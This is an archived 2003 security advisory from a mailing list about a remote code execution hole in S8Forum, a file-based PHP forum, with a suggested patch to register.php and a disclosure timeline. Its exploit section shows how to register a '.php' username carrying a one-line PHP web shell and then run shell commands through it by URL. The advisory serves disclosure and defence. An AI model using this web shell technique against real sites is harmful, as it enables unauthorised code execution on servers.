[EXPL] Security Vulnerability Found in S8Forum

From: support@securiteam.com
Date: 01/13/03

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To: list@securiteam.com
Date: 13 Jan 2003 11:24:53 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      Security Vulnerability Found in S8Forum
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.hotscripts.com/Detailed/9204.html> S8Forum is written with
    PHP. The forum doesn't use a database, instead it creates new file with
    the name of the registered user then save it in users' directory without
    extension.

    A security vulnerability in the product allows remote attackers to cause
    it to execute arbitrary code.

    DETAILS

    Exploit:
     - Go to Register
     - Insert in Username:
    any_name.php
    NOTE: .php
     - In password : any_pasword.
     - In E-Mail:
    <? system($cmd); ?>

    Or any other code.

     - Now go to this URL:
    http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a

    The following response should return:
    evil.php:c4ca4238a0b923820dcc509a6f75849b Linux xxx.xxx.net 2.4.18 #2 SMP
    Mon Nov 18 16:50:02 CST 2002 i686 unknown

    Solution:
    Open register.php
     - Step1 find this lines:

    case 'registration_confirm':
    // what to do with the form data

    include("settings/header.php");

     - The next step add below:
    if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$", $email) && $email != "") {
    echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid email
    address. Press the back button and correct it.</font></p>";
        }
    if(strstr($uname, "."))
    echo "<p><font size=\"4\" color=\"#FF0000\">Please enter a valid username.
    Press the back button and correct it.</font></p>";
    break;

    Note:
    S8Forum author has been notified on Sun 17/11 2002. Another mail was sent
    on 22/12 2002. No answer so far, no new release, no patch to fix these
    issues.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nmsh_sa@yahoo.com> NaSsEr
    M.Sh.

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